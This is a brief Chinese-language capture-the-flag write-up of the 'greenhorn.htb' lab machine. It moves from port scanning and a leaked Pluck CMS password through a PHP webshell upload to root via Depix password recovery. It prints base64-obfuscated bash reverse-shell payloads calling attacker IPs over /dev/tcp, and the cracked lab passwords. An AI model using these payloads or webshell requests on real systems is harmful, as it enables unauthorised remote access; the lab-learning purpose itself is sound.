web渗透

端口扫描

使用nmap进行端口探测,发现存在22,80,3000端口开放。

探测其具体版本信息等。

访问80端口。

发现其框架为pluck4.7.18.

弱口令尝试

进行弱口令尝试,发现不存在弱口令。

访问3000端口。

发现存在一个gitlab。

发现其存在一个/data目录。

发现其存在源代码。

敏感数据泄漏

存在数据库文件,泄漏密码。

密码解密

然后成功解出密码为iloveyou1

接着进行登录。

漏洞利用

命令执行漏洞

登录之后,尝试命令执行漏洞。

谷歌搜索漏洞。

​

​

编写木马

然后文件上传php文件。

成功获取webshell

编写poc:

echo%20%22YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMzMvNDQzMyAwPiYxIgo%22%20|%20base64%20-d%20|%20bash
http://greenhorn.htb/data/modules/notevil/0xdf.php?cmd=echo%20%22YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK%22%20|%20base64%20-d%20|%20bash
YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMzMvNDQzMyAwPiYxIgo=

echo%20%22YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMzMvNDQzMyAwPiYxIgo%22%20%7C%20base64%20-d%20%7C%20bash

上传尝试,发现成功上传。

反弹shell

接着进行反弹shell。

成功获取shell。

获取webshell

然后升级shell,并成功获取user.txt文件。

内网信息收集

使用su切换。

发现存在一个PDF和一个密码重置之后的密码。

Depix工具使用

获取图像

恢复密码

python depix.py -p ../download.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ../download-notepad_Windows10_closeAndSpaced.png 


成功获取账号密码。

sidefromsidetheothersidesidefromsidetheothersid

然后进行切换用户。

获取root权限

成功获取root权限。